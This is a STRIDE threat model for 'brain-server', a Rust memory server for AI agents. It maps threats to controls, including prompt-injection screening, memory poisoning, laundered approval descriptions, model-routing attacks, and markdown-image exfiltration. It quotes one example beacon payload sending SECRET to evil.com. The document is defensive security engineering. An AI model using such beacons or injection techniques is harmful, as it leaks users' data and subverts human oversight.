Keyboard shortcuts

Press ← or → to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Threat Model — brain-server

Methodology: STRIDE (Microsoft). Reference standards: OWASP Top 10:2025

  • Cheat Sheet Series (Context7-verified 2026-07-26), NIST SP 800-63B (digital identity), NIST SP 800-207 (zero-trust architecture).

Coverage current through: R77 (2026-10-06), which folds in the R68–R76 remediation programme and the ninth-pass closures. The v1.28.63–.75 hardening line (§5b) is folded in; per-release detail lives in CHANGELOG.md and the close-out in docs/AUDIT.md. (Stamp moved here by R77 — the T9-03 finding was that R75/R76 shipped security controls with this stamp and SECURITY.md’s still at older dates, violating the same-commit law both files declare.) Stamp policy: every release that moves a security-relevant row in this file moves this stamp in the same commit — staleness is self-declaring by the version gap (do not trust a stamp N releases behind HEAD).

This document is the engineering-side threat model. For per-release progress against the controls below, see SECURITY.md.

Agentic-AI coverage: the LLM/agent-specific threat classes (prompt injection, memory poisoning, tool misuse, agentic supply chain, lies-in-the- loop) are inventoried and mapped to controls in OWASP_AGENTIC_2026.md (OWASP Top 10 for Agentic Applications 2026) — read it as the companion layer to this STRIDE model, not a substitute.


1. System boundaries

                         ┌──────────────────────────────────────────┐
                         │  Internet / untrusted                    │
                         └──────────────────────────────────────────┘
                                          │
                                          ▼
                         ┌──────────────────────────────────────────┐
                         │  Reverse Proxy (operator-managed)        │
                         │  ─ TLS 1.3 termination                   │
                         │  ─ Per-IP rate limit                     │
                         │  ─ WAF / IP allowlist                    │
                         │  ─ HSTS                                 │
                         └──────────────────────────────────────────┘
                                          │ (loopback HTTP)
                                          ▼
┌──────────────────────────────────────────────────────────────────────────┐
│  brain-server (Rust binary, single process)                              │
│  ─ AuthN middleware: JWT/JWS verify + (jti, iss) revocation (v1.2)       │
│  ─ AuthZ middleware: AuthzPolicy::authorize (v1.2)                       │
│  ─ Rate limiter: per-tenant + tiered (v2.1)                              │
│  ─ Audit log: append-only, hash-chained, per-tenant (v1.1)              │
│  ─ SQLite (WAL) or per-domain SQLite (multi-db mode)                    │
│  ─ Optional: A2A federation via mTLS (v3.7)                             │
└──────────────────────────────────────────────────────────────────────────┘
                       │                              │
                       ▼                              ▼
       ┌───────────────────────────┐    ┌───────────────────────────┐
       │  Filesystem (local)       │    │  Peer brain-server (v3.7) │
       │  ─ SQLite DBs             │    │  ─ A2A over mTLS           │
       │  ─ Auth token file (0600) │    │  ─ JWKS verified           │
       │  ─ JWT keys (0700 dir)    │    └───────────────────────────┘
       └───────────────────────────┘

Trust boundaries crossed:

  1. Internet → reverse proxy — TLS termination, IP allowlist, per-IP rate limit.
  2. Reverse proxy → brain-server — loopback only; AuthN/AuthZ at the app.
  3. brain-server → filesystem — same host; assumes disk not tampered (LUKS recommended for full-disk encryption; SQLCipher for at-rest app encryption lands in v3.7).
  4. brain-server → peer brain-server (A2A, v3.7) — untrusted; mTLS + JWS verified, scoped capability, data residency allowlist.

2. STRIDE per asset

Asset 1: Knowledge graph data (per-tenant)

ThreatAttackMitigationStatus
SpoofingAttacker forges tenant identityJWT/JWS verify + tenant from signed claim (v1.2)✅
TamperingDirect DB edit on diskFilesystem perms; SQLCipher + KMS (v3.7)🚧
TamperingModify a proposal between display and approvalApprove carries the SHA-256 content_digest of the read-canonical form; any drift → 409 inside the tx (v1.27.12)✅
Repudiation“I didn’t write that”Audit hash chain (v1.1 M2.3)✅
Information disclosureTenant A reads tenant BPer-tenant files + AuthZ at data layer (v1.0+v1.2)✅
Denial of serviceBurst fills the DBCapacity envelope 507 (v0.9.9); per-tenant limiter (v2.1)✅/🚧
Elevation of privilegeL1 frontline reads L2 escalationAuthZ trait with deny-default + escalation rules (v1.2)✅

Asset 2: Authentication tokens

ThreatAttackMitigationStatus
SpoofingStolen token reuseShort-lived JWT (≤15 min) + refresh rotation + revocation (v1.2)✅
TamperingReadable token/key files (group/world)Startup fails closed on wide modes (mode & 0o077); brain token rotate writes 0600 temp + fsync + atomic rename (v1.27.12)✅
TamperingModify JWT payloadJWS signature (RS256/ES256/EdDSA at v1.2, extended with RS384/RS512/ES384 in v1.28.64 — current ALLOWED_ALGS in src/auth/jwt.rs)✅
Repudiation“I didn’t issue that token”iss claim verified; key rotation log (v1.2)✅
Information disclosureToken in URL/logsAuthorization: Bearer header only; SensitiveHeadersLayer redacts logs (v0.9.4)✅
Denial of serviceToken-stormPer-tenant rate limit (v2.1)🚧
Elevation of privilegeToken with broadened scopeScope enforced per-request via AuthZ (v1.2); alg:none rejected✅

Asset 3: Audit log

ThreatAttackMitigationStatus
SpoofingForge audit entriesAppend-only; writer is the authenticated process only✅
TamperingEdit existing rowsKeyed hash chain — HMAC-SHA256 over the full row under a per-DB epoch + head pin (id, hash, epoch); break is detectable on read (v1.1 M2.3; keyed epoch shipped v1.27.31)✅
Repudiation“The log is wrong”Keyed chain proves integrity (/audit/verify); signed release tags prove code provenance (keyed epoch shipped v1.27.31)✅
Information disclosureTenant A reads tenant B’s auditData-layer filter WHERE tenant_id = ? + AuthZ on /audit (v1.1 M2.2)🚧
Denial of serviceFill audit tableBounded by writes; rotation policy documented🚧
Elevation of privilegeNon-admin queries /auditadmin:<tenant>/* scope required (v1.2)✅

Asset 4: Binary / supply chain

ThreatAttackMitigationStatus
SpoofingMalicious binary in place of legitBuild from source; signed git tags (git tag -s)🚧
TamperingBackdoored transitive depcargo audit in CI; pinned direct deps; minimal feature flags✅
Repudiation“We didn’t ship that”Reproducible build via Cargo.lock; tag history✅
Information disclosureSource leaks secretsAudited; no secrets in repo; .env* in .gitignore✅
Denial of serviceCVE in dep causes crashCatchPanicLayer; advisory monitoring; rapid patch process✅
Elevation of privilegeDep with CVE pre-authPin versions; cargo audit --deny warnings in CI✅
TamperingTiming sidechannel on RSA private-key ops (rsa crate, RUSTSEC-2023-0071 “Marvin”)No fixed release exists anywhere (verified 2026-08-04: rsa 0.10.0-rc.18 and jsonwebtoken 11 both still affected). Accepted with documentation in .cargo/audit.toml: local-daemon timing model (attacker with local timing access already owns the machine), keys at 0600, EdDSA (Ed25519) keys avoid RSA entirely and are supported since v1.2audit.toml ignore + docs
TamperingUnsound glib::VariantStrIter iterator (RUSTSEC-2024-0429 / GHSA-wrw7-89jp-8q8g) in the shell’s Linux backendFixed only in glib ≥ 0.20; shell/client pin glib 0.18.5 via tauri 2 → gtk 0.18 (no tauri 2.x allows the bump — needs GTK4, tauri#12561). VariantStrIter unused by brain-shell’s single D7 command; Linux-only load path. Dependabot alert #3 dismissed tolerable_risk 2026-09-23audit.toml ignore + Dependabot dismiss

Asset 5: Network transport

ThreatAttackMitigationStatus
SpoofingMITM impersonates serverTLS 1.3 at proxy; mTLS for A2A (v3.7); cert pinning for native clients✅/🚧
TamperingModify traffic in transitTLS 1.3 (proxy); JWS non-repudiation for A2A payloads (v3.7)✅/🚧
Repudiation“I didn’t send that request”x-request-id for tracing; JWS for A2A non-repudiation✅/🚧
Information disclosureEavesdropper reads trafficTLS 1.3 terminates at the operator’s reverse proxy (the server itself is loopback HTTP); HSTS is a proxy-layer header✅
Denial of serviceSYN flood / slowlorisProxy handles; per-IP rate limit; per-tenant rate limit (v2.1)✅/🚧
Elevation of privilege—(no transport-level privilege concept)n/a

3. v1.2 “AuthN” — AuthN/AuthZ threat mitigations

v1.2.0 introduces JWT/JWS verification + a real AuthZ layer. The five threat classes below are the ones v1.2 directly mitigates. Each maps to a control verified by a unit/integration test (308 green).

ThreatAttackv1.2 mitigationTest
Token replayStolen access token reused after legitimate logoutAccess tokens short-lived (≤15 min exp) + (jti, iss) denylist lookup on EVERY authenticated request — per-request and fieldless (RevocationCache, v1.28.85): ZERO staleness; the residual is registry unavailability, which fails closed (see residual risk §6)missing_jti_rejected, revocation tests
Algorithm confusionAttacker sends alg:none, or HS256 with the server’s public key as the HMAC secret, hoping the verifier falls back to HMAC verification with the public key as the secretALLOWED_ALGS whitelist (RS256/384/512, ES256/384, EdDSA) checked before key lookup; none, all HS*, all PS* rejected unconditionallynone_algorithm_rejected, hs256_rejected_even_with_matching_key, algorithm_whitelist_rejects_ps256
Cross-tenant data accessTenant A’s token attempts to read tenant B’s chunkstenant claim is taken from the signed token (never from query string / body — OWASP Multi-Tenant Cheat Sheet); AuthZ at the data-access layer (authorize(principal, action, team, domain)) — handlers cannot resolve a pool they aren’t authorized for; default-deny → 403, never 404 (no existence leakage — OWASP A01:2025)AuthZ cross-tenant integration test
Key compromiseSigning key exfiltrated from BRAIN_JWT_KEY_DIRPrivate keys mode 0600, dir mode 0700; brain key generate + prune rotation keeps two keys live during the overlap window; revocation burns the compromised jti set without re-issuing unaffected tokens; future KMS (v3.7) moves keys off the filesystem entirelykey rotation tests, revoke tests
Refresh token theftAttacker steals a refresh token and races the legitimate user to /auth/refreshRefresh-chain reuse detection: the chain id is derived from (iss, sub); presenting a stale refresh token calls revoke_chain and burns the whole family (OWASP pattern). The legitimate user’s next refresh returns refresh_reuse_detected (403)refresh-chain reuse test

Tenant context source (OWASP Multi-Tenant Cheat Sheet, Context7-verified 2026-07-26):

“Derive tenant context from authenticated, verified tokens. Use database- level isolation like RLS or schemas as a defense in depth. Include tenant_id in all resource queries, cache keys, and storage paths.”

brain-server goes further than RLS: in multi-db mode (BRAIN_MULTI_DB=true), each tenant’s data lives in a separate SQLite file (physical isolation). The tenant claim is verified by signature before any data-access call.

v1.2 honest ceilings (accepted risks, see §5 exit-gate matrix)

  • Revocation has NO staleness window. Every authenticated request resolves (jti, iss) against the registry directly (the per-request, fieldless RevocationCache — v1.28.85). The pre-.85 “≤60s negative cache / eventual consistency” text was the debunked claim (re-stamped T7-03, seventh pass). Residual: registry unavailability DENIES the request (fail-closed) — an availability trade-off, never a stale-acceptance window. Distributed revocation (Redis-backed denylist) remains v2.1 for multi-node deployments.
  • Refresh-chain reuse detection burns the chain silently. The legit user is not notified out-of-band; they discover the burn on their next refresh. A user-facing notification channel is v2.1.
  • No hot key reload. Adding/removing signing keys requires an install-service.sh restart. File-watch for keys is a small follow-up.
  • EC/Ed JWK emission not implemented. EC/Ed keys verify correctly but don’t appear in /.well-known/jwks.json; rotate to RSA for any key a third party must discover via JWKS.

4. Residual risk (acceptances)

These are explicit risk acceptances, not bugs. Each is documented in code with a ponytail: comment naming the ceiling and upgrade path.

  1. Shim-mode tenant isolation is row-level, not file-level. Mitigation: SQL WHERE tenant_id filter at the data layer. Risk: a SQL injection in any query would bypass. Accepted because: every query is parameterized (grep-verified), and multi-db mode is the recommended path for true multi-tenant deployments.

  2. No encryption at rest before v3.7. Mitigation: filesystem encryption (LUKS/FileVault/BitLocker) recommended in deployment checklist. Risk: a disk image captures plaintext DBs. Accepted because: brain-server targets single-host trusted-disk deployments; SQLCipher is the v3.7 fix. Standing statement (the preflight line’s docs truth): the live DB AND its .bak safety snapshots are PLAINTEXT on the primary host — the encryption law covers the warm-standby FOLLOWER only. Full-disk encryption (LUKS/ FileVault) is the standing recommendation for the primary.

2b. The audit chain detects tampering, not host compromise. The HMAC chain key and the head pin share the host with the DB: the chain proves integrity against SQL/application-level tampering (a flipped row, a truncated history, an old image restored over a newer one), NOT against an attacker who owns the host — host compromise is disk encryption’s problem (statement 2). Scope: the tamper evidence covers the audit chain and the UMP evidence rows bound to it; tampering with a BUSINESS row behind the chain’s back (direct DB write) is inside the host-compromise ceiling — demonstrated live at the seventh pass (R7-08). Reporters: demonstrating “.bak extraction on a stolen disk” is a KNOWN CEILING, not a novel finding (see SECURITY.md).

  1. Prompt-injection guard is heuristic, not ML-classifier-based. Ceiling documented in contains_suspicious_pattern. Accepted because: edge-only threat model; recall always marked untrusted: true so the consuming agent enforces the data/instruction boundary. Since v1.28.71 (“Pores”) the heuristic is layered (invisible-strip-first scanning, five translation families, typoglycemia + bounded encoding tiers) and an optional local ONNX classifier adds a second opinion — fail-open (0.0) by design, so the HITL gate, never the classifier, remains the boundary.

  2. Per-IP rate limit before v2.1. Single-process in-memory. Risk: a distributed attacker from many IPs can exceed the per-IP cap. Mitigation: edge rate limit at the reverse proxy; per-tenant limit (v2.1) keys on the verified principal, not IP.

  3. VACUUM INTO '<path>' is unparameterized (SQLite DDL limitation). Risk: a path containing ' would break SQL. Mitigation: paths come from operator-controlled env vars (BRAIN_DB_PATH, BRAIN_DATA_ROOT), not from request input. Accepted because: pre-existing pattern across backup.rs, migration.rs, and the rehearsal tool.

  4. Token revocation rides a per-request registry lookup. Mitigation: zero staleness by construction (fieldless per-request RevocationCache, v1.28.85 — the “≤60s negative cache” claim was debunked; re-stamped T7-03, seventh pass). Accepted residual: registry unavailability fails CLOSED (the request is denied) — an availability cost, not a security window.


4b. Model routing: a NON-surface, kept non-surface by a pin (R53a, 2026-09-29)

The attack class is real; the surface is not. The published cost/safety routing attacks — Route-to-Rome style adversarial suffixes that push a router onto an expensive model, and rerouting papers that bypass safety policy by choosing a different model — all require a content-dependent MODEL router. This tree has none, and the reason is structural rather than disciplinary:

SurfaceWhere the model is boundWhy content cannot move it
LLM provider streamper-HttpProvider field, read off self at the send seamProviderRequest carries no model field, so a request cannot name a model.
Injection screen / ONNXprocess-wide LazyLock, copied unconditionally into every ScreenContent selects the verdict; there is no second model to select.
Embedderchosen once at boot from the retrieval profileThe model is a property of the concrete type bound into AppState.

The one content-dependent model router in the tree — workflow/decide/router.rs — has no production caller; its only importer analyses an empty state.

This was an unpinned accident, and that was the finding. The property held because of how the code happens to be written, with zero assertions anywhere (grep for any content-independence assertion: 0 matches repo-wide). R53a converts it into a machine-checked property, so a later round cannot open the surface without turning something red:

  • the_bound_model_is_not_a_function_of_the_call_content — behavioural: one provider, five adversarial contents (instruction override, explicit tier lure, bidi-reversed, long suffix, benign control), reading the model off every body that actually left the process. Proven non-vacuous by planting a content-derived model selection and watching it fail.
  • the_provider_request_carries_no_model_and_the_body_takes_it_as_an_argument, the_send_seam_reads_the_model_off_the_provider_not_the_request, the_classifier_is_process_wide_and_the_content_selects_only_the_verdict, the_embedder_is_chosen_at_boot_from_the_profile_alone — structural, and all comment-stripped first (F7-07) so prose cannot produce a false pass.

Standing ceiling, stated where an auditor will look. These are regression locks on the code’s SHAPE. They prove the current surfaces are content-independent; they do not prove the absence of every possible content-dependent router, and they are not a red-team exercise against the named attacks. If a router is ever added, the site table in tests/r53a_decision_class_pins.rs is the thing that must be updated deliberately, and DecisionClass (a closed enum) is what forces that round to name the new surface.

Observability, not enforcement. brain_model_calls_total, brain_model_tokens_total and brain_model_incomplete_total, labelled by the closed class set. They make the surface inventory checkable by an operator without reading source. They carry no model id, no domain, no principal, and no content: the class is derived from the call site, and its label is a total function of a fieldless enum. They are process-local — a restart zeroes them — so they are a rate-and-composition gauge, not a spend ledger and not a spend ceiling. No per-class spend ceiling was built; see the round’s evidence §2.4 for the two measured reasons.


Model-controlled markdown is the canonical covert-exfil channel (EchoLeak / CVE-2025-32711 class: <img src="http://evil.com/steal?data=SECRET">). The defense is layered across two trees — the server strips what it can before emission, and the openclaw UI refuses to FETCH what survives:

SurfacePostureWhere closed
Markdown image/link refs in emitted contentServer-side strip at the read seam (gate::strip_markdown_refs) — recall hits, notes, proposals never carry live ![](url) markupbrain-server v1.20.27 “Cordon”
Document-mode remote images (UI)Default OFF — renders the labeled not-loaded fallback; opt-in via render options AND the operator’s trusted-host allowlist (exact hosts, no subdomains implied)openclaw “Shutter” (X-E1 / F-E1)
Favicon auto-fetch beacon (UI)Default OFF — the proxy route 404s unless the operator enables fetching AND allowlists the host; unlisted hosts render a letter tile, no requestopenclaw “Shutter” (X-E2 / F-E2)
data: image URIs (UI)Render only inside a 64 KiB decoded budget; oversized payloads degrade to the fallback (no fetch channel — the budget caps render-time covert channels and pathological payloads)openclaw “Shutter” (X-E4)

Standing ceilings, documented honestly:

  • Bare URLs in prose survive every strip. Linkified-but-inert is the shipped contract: a URL pasted as text renders as a link and does not fetch until a human clicks. Closing THAT is the documented gate.rs ceiling, still open by design.
  • The read-seam fixed point is per-STRING, not cross-chunk. The chunker’s oversized-line arm splits at arbitrary char-boundary offsets, so a hostile element cut across a chunk boundary (<scr / ipt>) sanitizes independently-clean in each piece — every in-repo consumer re-joins through the seam (per-hit fence segments), so the weld class is a DOWNSTREAM-CONSUMER risk, disclosed (seventh-pass R7-11); a tag-aware split would change chunk shapes and needs its own evaluation.
  • GET /export emits stored content VERBATIM, by design. Portability is the point: the export is the operator’s cross-site transfer artifact and the untrusted: true label travels WITH it — a sanitizer over it would break byte-level verification at the destination (the same law as the parcels content hash). Admin-gated; the read seam governs every RENDERED surface (recall/get/proposals/notes/procedures/traces), not this transfer surface.
  • The OTLP exporter is operator-configured egress outside the validated client. The resolve→validate→pin law covers the webhook sinks; the otel-otlp HTTP exporter builds its own reqwest client (per-request DNS, redirect-following). Accepted because the collector endpoint is operator-set (not attacker-controlled) and span attributes are ANSI/PII sanitized before export (v1.28.74); a guarded exporter client is a disclosed hardening follow-up.
  • Operator allowlists are trust, not safety. An allowlisted host is a place the operator vouches for; if the operator allowlists a hostile host, the gate is doing its job when it fetches exactly that host and nothing else. The SSRF guard (loopback/metadata/private refusal) stays enforced even for allowlisted hosts.
  • Proxied favicon fetches are same-origin and authenticated; the UI never fetches remote image bytes directly — everything rides the gateway proxy with its byte/time caps and strict media validation.

5b. The 2026-09 hardening line (v1.28.63–.75): controls and ceilings

Thirteen releases closed every code-closeable finding of the 2026-09-06 joint audit (41 findings; close-out with dispositions in docs/AUDIT.md). The controls below are the threat-model-relevant additions, in ship order:

ThreatControlShipped
Unapproved channel egress (workflow-outbox forgery)Reserved topic vocabulary enforced at EVERY outbox enqueue seam (channel/*, steering, workflow/* reachable only through kernel paths); closed run-status vocabulary (active|cancelled|closed|completed|fired|resolved, see docs/api.md); valet what screened on all write paths; alert-bus kind vocabulary closedv1.28.63 “Wardline”
Revocation scoped to mesh onlyThe principal kill-switch is consulted in the bearer AuthN path (revocation BEFORE signature/row work, probe-blind); denylist rows expire at the token’s real exp, not a fixed TTLv1.28.64 “Blackout” + v1.28.73
Poisoned memory re-entering prompts/suggest hits carry untrusted: true (three-surface parity); openclaw host sanitizes EVERY plugin context segment at the merge seam (invisible strip + forged-marker neutralization); MCP tool results ride the external-content envelope; plugin↔server invisible-set parity fixture in CIv1.28.65 “Meridian”
Lies-in-the-loop (approver sees laundered descriptions)Plugin approvals carry the EFFECTIVE tool-call arguments on both transports (display JSON, capped with exact-count markers); truncation keeps head AND tail unconditionally with count-first elision; brain client dsar and restore prompt before actingv1.28.66 “Truthglass”
Self-asserted identity (rug pulls, signer ambiguity)Parcels require expected_signer (400 otherwise); the operator signing key pins verification (foreign signer ≠ silent accept); fork MCP catalog is sha256-pinned per tool + per server and reconciled EVERY run — tools whose fingerprint MOVED post-approval are hard-blocked (never projected) until re-acknowledged, never-seen tools stay usable-but-pendingAck-flagged so first use is not gated; recovery is deleting mcp-catalog-pins.json (everything re-surfaces as new/flagged, never silently); pinning applies where the caller passes catalogPinsPath (default-path spec’d upstream as U3); BRAIN_MCP_SCOPE=read denies the write verbs at dispatchv1.28.67 “Pin” + fork hard-block (unreleased)
Markdown-image / beacon exfiltration (EchoLeak class)Document-mode remote images default OFF behind an exact-host operator allowlist (UI + server re-verify); favicon proxy default OFF; data: URIs capped at a 64 KiB decoded budgetv1.28.68 “Shutter” (fork)
Server-side SSRF / DNS rebinding on egressThe shared egress client resolves → validates EVERY address against the IANA special-purpose table (incl. CGNAT 100.64/10) → pins insert-only for the process lifetime; alert/DSAR sinks validate at boot, private sinks need BRAIN_EGRESS_ALLOW_PRIVATE=1 (fail-closed); harness binary resolution is absolute-path only; spawned children die on dropv1.28.69 “Deadbolt”
GDL caller-selected provider destination or secret pathThe GDL request is ticket-only; a server-owned BRAIN_GDL_PROVIDER_* profile supplies endpoint/model/secret. Endpoint shape and HTTPS are checked before the confined secret read; DNS/address screening and redirect refusal remain at provider construction; provider errors are stable-code-onlyR34 GDL provider boundary
GDL provider failure leaves ownership or an admitted exchange unfinishedA provider failure after admission is a closed typed class. The loop writes control:exchange_done, finishes the invocation, seals the GDL checkpoint, audits the fixed gdl_provider_failed detail, and releases the outer claim in the existing transaction seams. A 25-second total request/body deadline bounds slow-drip responses; dropping the receiver cancels the in-flight HTTP future. The terminal is non-retryable (503 on first launch, named 409 on a later launch), and no provider body, bearer, secret path, or secret-bearing URL crosses the error/audit seam. No public recovery API is addedR35 GDL launch execution integrity
Plugin-side transport smuggling (absolute-URL / protocol-relative path)BrainClient pins new URL(baseUrl).origin at construction, refuses cross-origin requests pre-send and cross-origin responses post-redirect (res.url re-pin); stacks on the assertSafeBaseUrl scheme gate (https, or http only on loopback). Token files refuse multiline content (operator-token leak down the agent path closed). Ceiling: DNS-rebind of the pinned host and never-seen-tool flagging (first-use not gated) remain accepted residuals — loopback-first deployments onlyv1.28.79 “Parity” (fork)
Fork prompt-merge trust (brain-fence spoof)The merge seam splits brain recall fences like every other marker — no plugin may emit the literal and borrow recall trust; team-bridge mirrors honor chat-type gates; forwarded-header contradiction is denied without a trust basis and proxy-chain commas no longer force strict off; missing-Origin pre-pass is architecture (non-browser clients authenticate post-handshake). Upstream-hunk items (multi-block envelope, systemPrompt seam, default pins path, replay prefix) ship as PR specs kept with the audit archivev1.28.79 “Parity”
Opaque-mode authority collapse (one superuser token)Token-file line 2 authenticates as a scoped agent principal (AgentLoopback: no Admin, no purge/domains/revoke/dsar/DPO boards, writes proposal-gated); Blackout kill-switch revokes it by name; /metrics + /health/db scope per principal; single-token deployments keep the legacy posture with a boot warnv1.28.70 “Twokeys”
Injection screening evasion (bidi, translation, encoding)Layer-1 screen runs on invisible-stripped text (verdicts only tighten); the 13-phrase blocklist became five translation families + a typoglycemia tier + a bounded encoding tier; optional local ONNX classifier (fail-open, BRAIN_INJECTION_CLASSIFIER=off opts out, /health/db echoes state); log values pass ANSI/C1 scrubbingv1.28.71 “Pores”
Hostile markup at the read seamsanitize_read strips a closed, case-insensitive set of hostile elements (script/iframe/svg/img/…) after the markdown-ref strip, plus the attribute tier: on* handler attributes and javascript:/vbscript:/data: schemes (one bounded entity-decode pass, whitespace/control compaction) are dropped from SURVIVING elements — the tier is scheme-hostile, not attribute-hostile, so benign http(s) hrefs survive whole (v1.28.86 “Attrbane”); R78 “Attrtwo” extends the tier with the fetch-capable pair: ping dies by NAME (a click beacon is a fetch primitive — no benign form to scheme-check) and style dies by VALUE when it can express a network fetch (url(/image-set( after entity-decode + CSS-comment strip + one CSS-escape decode + whitespace removal — benign styles survive byte-identical); storage stays verbatim so outstanding approval digests move only for rows the widening touches (those fail closed 409 at approve — re-review); denied /events subscribers get 403 BEFORE the stream opens; KB generator escapes operator-configured argsv1.28.72 “Scrim” + v1.28.86
Key + evidence lifecycle gapsThe operator signing key is deterministic (operator.ed25519; wrong-size/leaked seeds refuse LOUDLY); brain key rotate moves current→.prev (verify-only, one deep) with signing_epoch on agent cards; chain-less backup images REFUSE restore unless --allow-chainless; legacy-epoch chains restore disclosed as forgeable; the replay cache evicts the oldest quarter (not clear-all) and the revocation drain pages + writes drain_incompletev1.28.73 “Keyring”
Taint laundering across sessions/ingest accepts origin_context: owner|channel (unknown = 400); channel captures store origin channel-capture; the label rides recall into the plugin fence ([memory | channel-capture]) and the openclaw fork marks quoted/replayed memory prefixes as untrusted replay; plugin untrustedOrigins: "exclude" drops captured hits from auto-inject; OTLP span attributes pass ANSI/PII sanitization (collectors are untrusted infrastructure) — R78 “Attrtwo” adds the markdown-ref strip to that chain (W9-01: OTLP was the one outbound lane without it; the strip runs BEFORE the newline collapse because reference definitions are line-anchored)v1.28.74 “Origin” + R78 “Attrtwo”
Dormant exec mediation (Loop-line precondition, RETIRED v1.28.92)The dormant hostcall exec mediation hardened: argv0 AND allowlist entries canonicalize (planted symlinks and honest aliases distinguished), the danger screen is the documented tripwire and gained the pipe-to-shell family, kill_on_drop pinned at the spawn seam; dormancy WAS a machine-checked state (hostcalls_mediation_stays_unwired_until_loop_line) — the Loop landing WIRED the path (see the v1.28.92 row below) and retired the pin by designv1.28.75 “Preflight”
Authenticated-transport redirect bearer leak (fork)BrainClient never follows redirects (redirect: "manual" — any 3xx refuses before auth can ride it); the pre-send origin pin + response re-pin stay as second layersv1.28.80 (fork)
Merge-seam systemPrompt bypass (upstream-hunk, fork-side defense)The merged systemPrompt passes sanitizePluginContext at the fork-owned merge seam (upstream file untouched — filed as U2)v1.28.80 (fork)
MCP multi-block envelope shedding + image/URI pass-throughAll instruction-capable text rides ONE enveloped block (prefix+payload+suffix inseparable); every block through the full sanitizer (invisible + forged markers + LLM special tokens); per-block 8k bound; oversize images withheld as labeled placeholders (filed as U1 upstream)v1.28.80 (fork)
Unsigned catalog-pin acks (fs-write re-pin)Pin acks carry a detached Ed25519 signature (TOFU keypair beside the pins); forged/unsigned files rebuild LOUDLY; ceiling: filesystem writers can re-key — operator-bound keys are the Loop linev1.28.80 (fork)
No-auth boot as silent postureBRAIN_REQUIRE_AUTH=1 refuses unauthenticated boot (fail-closed parse); otherwise a loud boot warn + /health/db authn echo (enabled, required)v1.28.80
Silent cross-domain mixing (shim rescue leg)/recall carries included_global (always present) so global-corpus mixing into domain queries is visible, never silentv1.28.80
Total-grant scope issuance (*/*)A team+domain wildcard scope grants nothing without BRAIN_ALLOW_WILDCARD_GRANT=1 (fail-closed parse, loud boot warn when admitted)v1.28.80
Single-approver promotion (approval fatigue)Opt-in BRAIN_APPROVAL_QUORUM=2: two DISTINCT principals before promotion (first records a hash-chained audit row, same-principal repeat 409s); publish/remedy branches keep their own semanticsv1.28.80
Keyless self-assertion invisible to consumersVerify JSON carries authentication: "operator-pinned" | "self-asserted (no operator key)" — verify is the CONSUMER’s out-of-band act: verify_artifact_json/_detailed have no production call site in this tree; the server-side pin enforcement lives at parcels import only (v1.28.88 T7-06 correction — the artifact is signed at serve, never re-verified server-side)v1.28.80
Allow-policy blindness (INJECTION_POLICY=allow)Monotonic allow_policy_bypasses tripwire on /health/db beside the policy echov1.28.80
Cross-tenant channel drain/ack (same-kind bridges)The HMAC authenticates kind+tenant TOGETHER (per-bridge secret files) — drain_out_batch/ack_out_batch/drain_ping_batch scope every predicate by the SAME pair (the tenant was dropped after auth, letting a same-kind foreign tenant’s bridge see + consume + suppress another tenant’s envelopes/pings)2026-09-11 audit round
traverse: scope silently satisfying ReadTraverse is exact-kind: a traverse scope grants ONLY Traverse gates; read/write/admin still satisfy Traverse (rank). The enum-doc contract (“traversal without broad read”) is now the enforced behavior2026-09-11 audit round
Read-seam gaps (by-id source, procedure step chains, trace replay)/get/{id} sanitizes source (the /quarantine sibling posture — it is client free-text via proposal promotion); /procedure/{id}/steps sanitizes root + step title/content; /recall/{id}/trace strips every string value in the replayed JSON. All three sites added to the stored_text_fields_pass_the_read_seam machine table2026-09-11 audit round
source label unbounded at writeMAX_SOURCE (64) enforced at /add and the proposal path (was: unbounded up to the 1 MiB body cap)2026-09-11 audit round
Unbounded revoke keys/auth/revoke caps jti ≤ 128 and iss ≤ 256 (denylist rows stay bounded records)2026-09-11 audit round
Revocation-drain paging no-op past page 1The drain cancels INSIDE the paging loop (pages advance because each CAS-cancel leaves the active set); the old shape re-read the identical first 200 rows 10× (distinct cancels capped at 200)2026-09-11 audit round
DSAR subject_exact dead residue armsExact mode matches the subject as a WHOLE JSON string value (quoted containment) for traces + the dry-run workflow count — object equality could never match; proposals keep whole-content equality with the narrowed scope disclosed2026-09-11 audit round
Plaintext temps in shared dirswrite_atomic + the restore-verify snapshot create 0600 at open (no umask window); the standby promote workdir is 0700 and its WAL chunk 0600 — decrypted store bytes never world-readable in /tmp or the DB dir2026-09-11 audit round
Legal-hold re-application silent shortfallHold re-inserts are counted; a failed/incomplete re-application logs error! naming the id — the freeze’s survival is never claimed falsely2026-09-11 audit round
Provenance extra keys riding a verified markVerification rejects unknown fields in the provenance object (fail-closed Tampered) — the claim binds exactly mark/generator/generated_at/actor; unverified data can no longer ride inside a “verified” mark2026-09-11 audit round
Model-manifest symlink escapePinned artifacts refuse symlinked entries (symlink_metadata check — fs::read follows links out of the pinned tree)2026-09-11 audit round
NAT64 local-use prefix gapRFC 8215 64:ff9b:1::/48 added to the egress deny table (edge-pinned alongside its well-known twin)2026-09-11 audit round
Channel-bridge redirect + media-URL egressThe bridge client never follows redirects; the Graph download_url (a response-body URL) is validated (https, no IP literals, no local names) before the bearer-attached fetch2026-09-11 audit round
/app public-prefix over-matchThe SPA seat matches /app or /app/… exactly (segment boundary) — a future /app-* route can never ride the prefix silently2026-09-11 audit round
Dormancy-pin coverage gap (HISTORICAL — pin retired v1.28.92)hostcalls_mediation_stays_unwired_until_loop_line walked src/ RECURSIVELY (the old top-level-only walk missed subdirectory wirings; the needle is concat-built so the test’s own source cannot self-match). The pin itself was DELETED with the Loop wiring it guarded (retirement was the designed terminal state); the recursive-walk lesson stands for future never-wire pins2026-09-11 audit round
MCP catalog pins: no production ack path (fork)BRAIN_MCP_PINS_ACK=1 for ONE run is the operator’s acknowledgment touch (reconcile records + signs the CURRENT catalog, returns zero drift, logs loudly; left set, every run re-acks and drift can never surface — the log names it). The hard-block + signed-ack machinery is now reachable in production; a missing pins file beside a surviving .sig logs the deletion downgrade LOUDLY2026-09-11 audit round (fork)
BRAIN_TOKEN env rung multiline bypass (fork)The env rung carries the file rung’s refusal: a multi-line value (the pasted operator token file) throws instead of transmitting the operator token down the agent path2026-09-11 audit round (fork)
